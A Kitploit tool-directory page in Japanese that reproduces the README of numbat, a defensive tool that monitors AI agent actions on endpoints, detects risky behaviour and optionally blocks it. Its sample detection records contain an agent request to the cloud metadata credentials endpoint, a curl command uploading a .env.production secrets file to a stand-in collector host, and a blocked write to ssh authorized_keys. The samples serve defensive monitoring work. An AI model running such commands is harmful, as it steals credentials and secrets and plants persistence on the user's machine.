Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
numbat — エンドポイント上のAIエージェント活動の可視化。オンデバイス検出、オプションのアクション前ブロック、フォレンジック再構築を備える。 | Kitploit
ツール/GitHubGitHub/perplexityai/numbat
防御ツール侵害指標 (IOC) 管理スクリプトと自動化デジタルフォレンジック脅威インテリジェンス侵入検知インシデントレスポンスAIセキュリティ異常検知ログ分析
GitHubperplexityai/numbat

numbat

1.1k116243日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

エンドポイント上のAIエージェント活動の可視化。オンデバイス検出、オプションのアクション前ブロック、フォレンジック再構築を備える。

リポジトリを見る

numbat

AIエージェント活動に対するエンドポイント可視性。ローカル検出、オプションの アクション実行前ブロッキング、フォレンジック再構築を備える。

numbatは、ローカルフックとプラグイン、OTLP/HTTPログ、およびディスク上のセッション アーティファクトを通じて、サポート対象のデスクトップ、CLI、IDE、ゲートウェイ エージェントを監視する。ライブおよび保存時の活動は単一のイベントモデルに正規化され、 同じCELルールエンジンによって評価される。検出はローカルで実行され、レコードは stdoutまたはローカルファイルに書き込むことができ、オプションでHTTP経由で配信できる。

カバレッジマトリクスは各ホストとサーフェスに ついての権威ある情報源である。ブロッキングはデフォルトで無効であり、サポート対象の 同期アクション実行前フックに限定される。詳細はエンフォースメントガイドを参照。

機能

  • フック、プラグイン、OTLP/HTTPログエクスポーターによるライブ監視。
  • 組み込みCELルール、多段シーケンスルール、カスタムYAMLルールによる エンドポイントローカル検出。
  • サポート対象のアクション実行前フックによるオプトインのブロッキング。エンフォース モードはデフォルトで無効であり、enforce: trueとマークされたルールにのみ適用される。 同梱されるすべてのルールは監視専用である。
  • 事前のnumbat計装なしでの、サポート対象のディスク上セッションアーティファクトからの フォレンジック再構築。
  • イベント、検出結果、エンフォースメント決定、インジケーター、スキャンサマリー用の バージョン管理されたNDJSONレコード。イベントと検出結果はソース参照を保持する。 JSONスキーマがワイヤーフォーマットを定義する。
  • シークレットの秘匿化を伴う読み取り専用アーティファクトスキャン。通常のレコード 出力には完全な生トランスクリプトは決して含まれない。ケースバンドルへの生の証拠 ファイルの追加はオプトインである。
  • 読み取り専用のエージェント検出、セッションごとのタイムライン、SHA-256マニフェスト 付きのポータブルケースバンドル用のインベントリおよび調査ツール。
  • macOS、Linux、Windows向けの単一バイナリ配布。cgoなしでビルドされる。

クイックスタート

インストール

macOS、Linux、またはWindowsのamd64またはarm64向けの リリースをダウンロードする。各リリースには SHA-256チェックサムが含まれる。Go 1.26.6以降でインストールすることもできる:

go install github.com/perplexityai/numbat/cmd/numbat@latest
チェックアウトから静的バイナリをビルドする

macOSまたはLinux:

CGO_ENABLED=0 go build -trimpath -o numbat ./cmd/numbat

Windows PowerShell:

$env:CGO_ENABLED = "0"
go build -trimpath -o numbat.exe ./cmd/numbat

インベントリとスキャン

これらの読み取り専用コマンドは、フックをインストールしたりエージェント設定を 変更したりしない:

numbat agents
# scan all discovered parser-backed agents
numbat scan
# or limit automatic discovery to Codex
numbat scan --agent codex

監視とエンフォース

live-captureサポートを持つ任意のエージェントに対して ライブ監視をインストールする。以下のコマンドはCodexを具体例として使用する。フックは 監視専用モードで開始される。--emit allはイベント、検出結果、インジケーター、および 該当するエンフォースメント決定を~/.numbat/records.ndjsonに書き込む。

numbat hook install --agent codex --emit all
numbat hook status --agent codex

フックの信頼: 要件はエージェントとスコープによって異なる。上記のCodexユーザー フックについては、/hooks(CLI)またはSettings > Hooks(アプリ)でその現在の定義を 確認して信頼する。--enforceなどの変更後も同様である。--managedでインストール されたCodexフックはポリシーによって信頼される。hook statusは設定を検証するもので あり、実行や配信を検証するものではない。他のエージェントとスコープについては デプロイメントガイドを参照。

同梱されるすべてのルールは監視専用である。検出をエンフォースするには、その完全な 同梱YAMLを管理されたオペレーターディレクトリにコピーし、同じidを維持し、 enforce: trueを追加し、そのバージョンを上げる。サポート対象のアクション実行前 フックに対して、その有効なポリシーを検証してインストールする:

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

出力例

フックイベント(OpenClawクラウドメタデータブラウザリクエスト)

numbatの生成プラグインを通過した制御されたOpenClaw before_tool_callコールバックは、 提案された宛先と実行コンテキストを持つ型付きネットワークイベントになる。また、 高重大度のクラウドメタデータルールにも一致する。

{
  "actor": "assistant",
  "confidence": "medium",
  "content_preview": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "node", "uid": "1000"
  },
  "event_id": "hook-run-20260724T151125.690671167-fa0a4148090fa1ba",
  "event_type": "network.indicator",
  "evidence": {"artifact_type": "hook"},
  "project_path": "/workspace/acme-api",
  "record_type": "event",
  "run_id": "run-20260724T151125.690671167-fa0a4148090fa1ba",
  "schema_version": "0.4.0",
  "session_id": "agent:research:metadata-review",
  "source_agent": "openclaw",
  "source_type": "hook",
  "sub_agent": "research",
  "tags": ["network"],
  "timestamp": "2026-07-24T15:20:00Z",
  "tool_call_id": "tool-cloud-metadata-01",
  "tool_name": "browser",
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
シーケンス検出結果(Claude Codeフックシーケンス)

1つのセッション内の2つの契約上有効なClaude Codeアクション実行前コールバック (シークレットファイルアクセス、続いて提案されたアップロード)の制御されたリプレイが、 この検出結果を生成した。このルールはアーティファクトスキャン中にも実行される。 検出結果はどちらのアクションも完了したことを証明するものではない。

{
  "cited_event_ids": [
    "hook-run-20260724T143947.587655000-2030b2e550b19261",
    "hook-run-20260724T144025.562634000-e18f9d375ddb1c1b"
  ],
  "confidence": "medium",
  "detected_at": "2026-07-24T14:40:29.226642Z",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "agent", "uid": "10001"
  },
  "evidence_refs": [
    {"artifact_type": "hook"},
    {"artifact_type": "hook"}
  ],
  "finding_id": "fnd-01be6f0c659d060e7c993a73",
  "observed_actor": "assistant",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "observed_event_type": "command.exec",
  "project_path_hash": "sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0",
  "record_type": "finding",
  "redacted": false,
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "run_id": "run-20260724T144025.562634000-e18f9d375ddb1c1b",
  "schema_version": "0.4.0",
  "session_id": "readme-live-sequence-01",
  "severity": "high",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"],
  "timestamp": "2026-07-24T14:40:25.562634Z",
  "title": "Secret-file access followed by data-bearing egress"
}
エンフォースメント決定(Codex authorized_keys書き込み)

persistence.ssh_authorized_keysをバージョン1.3でenforce: trueとマークした 同一idのオペレーター置換により、Codexのcreate_fileアクション実行前がルールに一致し、 numbatはエージェント固有の拒否応答を選択した。配信とエンフォースメントのセマンティクス については決定を参照。

{
  "action_event_ids": [
    "hook-run-20260724T134723.452402000-6886c86cefad57b8"
  ],
  "decision": "deny",
  "decision_id": "enf-5132cfdb6ae4d57350ec734d",
  "deny_rule_id": "persistence.ssh_authorized_keys",
  "deny_rule_version": "1.3",
  "endpoint": {
    "hostname": "developer-workstation", "os": "linux", "arch": "arm64",
    "username": "agent", "uid": "10001"
  },
  "finding_ids": [
    "fnd-f467992648daec0a927b6de7"
  ],
  "mode": "enforce",
  "model": "gpt-5.6-codex",
  "reason": "enforce_rule_match",
  "record_type": "enforcement",
  "rule_ids": [
    "persistence.ssh_authorized_keys"
  ],
  "run_id": "run-20260724T134723.452402000-6886c86cefad57b8",
  "schema_version": "0.4.0",
  "session_id": "sess-doc-codex-enforce-01",
  "source_agent": "codex",
  "source_type": "hook",
  "timestamp": "2026-07-24T13:47:23.502411Z",
  "tool_call_id": "tool-doc-codex-enforce-01",
  "tool_name": "create_file"
}

その他の検出される動作については組み込みルールカタログを参照。

CLIリファレンスは完全なレコード契約、フラグ、 シンクを定義する。ロールアウトパターンと出力の耐久性については docs/deployment.mdを参照。

コマンド概要

  • インベントリと調査: agents、scan、timeline
  • ライブキャプチャ: hook install、hook status、hook uninstall、collect
  • レコード配信: ship
  • ルール開発: rules check、rules list、rules test
  • ケースバンドル: case build、case verify

完全なコマンドリストについてはnumbat --helpを、フラグについては numbat help <command>を実行する。レコードモード、シンク、終了コードについては CLIリファレンスを参照。

ツールをダウンロード